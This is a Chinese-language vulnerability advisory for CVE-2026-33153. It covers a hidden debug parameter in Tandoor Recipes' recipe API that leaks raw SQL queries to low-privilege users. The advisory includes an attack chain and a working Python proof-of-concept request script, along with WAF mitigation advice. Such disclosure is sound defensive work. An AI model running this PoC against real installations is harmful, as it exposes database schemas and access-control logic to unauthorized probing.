IPBUF安全漏洞报告
English
CVE-2026-33153 CVSS 6.5 中危

CVE-2026-33153 Tandoor Recipes信息泄露漏洞

披露日期: 2026-03-26

漏洞信息

漏洞编号
CVE-2026-33153
漏洞类型
信息泄露
CVSS评分
6.5 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Tandoor Recipes

相关标签

Information DisclosureTandoor RecipesCWE-200SQL LeakDebug Parameter

漏洞概述

Tandoor Recipes是一个用于管理食谱、膳食计划和购物清单的应用程序。在2.6.0版本之前,其Recipe API端点存在一个安全隐患。该端点暴露了一个隐藏的`?debug=true`查询参数,即使Django处于生产模式(DEBUG=False),该参数也会返回正在执行的完整原始SQL查询。这些查询包含表名、列名、JOIN关系、WHERE条件(揭示访问控制逻辑)以及多租户空间ID。任何经过身份验证的用户,无论权限级别如何,都可以利用此漏洞映射整个数据库架构并逆向工程授权模型,从而导致敏感信息泄露。

技术细节

该漏洞源于Tandoor Recipes在Recipe API端点实现时的安全逻辑缺陷。尽管Django框架通常在生产环境(DEBUG=False)下会抑制详细的调试信息,但受影响版本的开发人员在该特定的API端点中手动实现了一个调试功能开关。当请求中包含`?debug=true`参数时,后端代码会捕获并返回当前请求执行的原始SQL语句,而未对请求者的权限级别进行验证,也未检查全局的DEBUG配置状态。攻击者只需拥有一个低权限的普通账号,即可向该API端点发送附带调试参数的HTTP GET或POST请求。服务器响应中不仅包含预期的业务数据,还会额外输出底层的SQL查询文本。通过分析这些SQL语句,攻击者可以推断出完整的数据库表结构、字段类型、表之间的关联关系(JOIN)、关键的访问控制逻辑(WHERE子句)以及用于数据隔离的多租户ID。这些信息为后续的SQL注入或权限绕过攻击提供了重要依据。

攻击链分析

STEP 1
信息收集
攻击者识别出目标系统运行的是Tandoor Recipes应用程序,并确认其版本低于2.6.0。
STEP 2
获取低权限账号
攻击者在目标平台上注册一个普通用户账号,或使用已有的低权限凭证进行登录。
STEP 3
发送探测请求
攻击者向Recipe API端点(如/api/recipe/)发送HTTP请求,并在查询字符串中添加隐藏参数`?debug=true`。
STEP 4
解析响应数据
服务器返回包含原始SQL查询的响应。攻击者提取并分析这些SQL语句,获取数据库架构、字段名及业务逻辑。
STEP 5
后续利用准备
利用获取的数据库架构信息,规划进一步的攻击,如构造精心设计的SQL注入攻击或尝试越权访问。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target URL of the vulnerable Recipe API # Example: http://target.com/api/recipe/ target_url = "http://target.com/api/recipe/" # Headers with a valid low-privilege authentication token # Replace 'YOUR_LOW_PRIV_TOKEN' with an actual session cookie or token headers = { "Authorization": "Bearer YOUR_LOW_PRIV_TOKEN", "Content-Type": "application/json", "User-Agent": "Mozilla/5.0 (Compatible; CVE-2026-33153-Scanner)" } # The hidden debug parameter that triggers the SQL leak params = { "debug": "true" } try: print(f"[+] Sending request to {target_url} with debug parameter...") response = requests.get(target_url, headers=headers, params=params) if response.status_code == 200: print("[+] Request successful! Checking response for SQL queries...") # In a real scenario, the response JSON might contain a 'debug' or 'sql' key, # or the SQL might be appended to the output. print("[+] Response Content:") print(response.text) else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[-] An error occurred: {e}")

影响范围

Tandoor Recipes < 2.6.0

防御指南

临时缓解措施
如果无法立即升级版本,建议管理员在Web应用防火墙(WAF)或反向代理层配置规则,拦截包含`debug=true`查询参数的请求。同时,应密切监控API日志,检查是否存在异常的数据库查询泄露行为,并限制普通用户对管理类API的访问频率。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表